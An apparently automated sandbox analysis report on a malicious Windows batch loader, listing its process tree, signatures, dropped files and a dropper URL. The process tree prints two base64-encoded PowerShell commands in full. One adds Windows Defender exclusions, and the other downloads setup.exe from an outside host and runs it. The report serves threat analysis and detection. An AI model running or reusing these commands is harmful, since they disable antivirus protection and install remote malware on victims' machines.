Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 07:28

General

  • Target
    a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat
  • Size 1KB
  • Sample260909-japjmstdna
  • SHA256 a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tempshare.su/raw_files/31KwJH94Fi7W

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3692
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat" MINIMIZED
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4216
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:3656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIg==')); Invoke-Expression $de"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly90ZW1wc2hhcmUuc3UvcmF3X2ZpbGVzLzMxS3dKSDk0Rmk3VycsICRleGVGaWxlKTsgU3RhcnQtUHJvY2VzcyAkZXhlRmlsZQ==')); Invoke-Expression $de"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:464

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 266c58d251b62db803dfa0e546e0b483c20d836480e852977caacd8a1afdb924
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_iqzpsyi4.dkj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqzpsyi4.dkj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          setup.exe

          • Path C:\Users\Admin\AppData\Local\Temp\setup.exe
          • Size 21KB
          • SHA256 4337144d00e2c605787196f3da7dd18510a828dadd816f3bd6faf34ade8c3698
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2204-14-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-16-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-7-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-8-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-9-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-10-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-11-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-12-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-13-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-0-0x00007FFA7AA9F000-0x00007FFA7AAA0000-memory.dmp

          memory/2204-15-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-6-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-20-0x0000029AC9CE0000-0x0000029AC9D92000-memory.dmp

          memory/2204-19-0x0000029AC9990000-0x0000029AC99AE000-memory.dmp

          memory/2204-21-0x0000029AC99B0000-0x0000029AC99BA000-memory.dmp

          memory/2204-23-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-24-0x0000029AB12F9000-0x0000029AB12FF000-memory.dmp

          memory/2204-5-0x0000029AB1350000-0x0000029AB1372000-memory.dmp

          memory/2204-2-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-1-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

          memory/2204-36-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp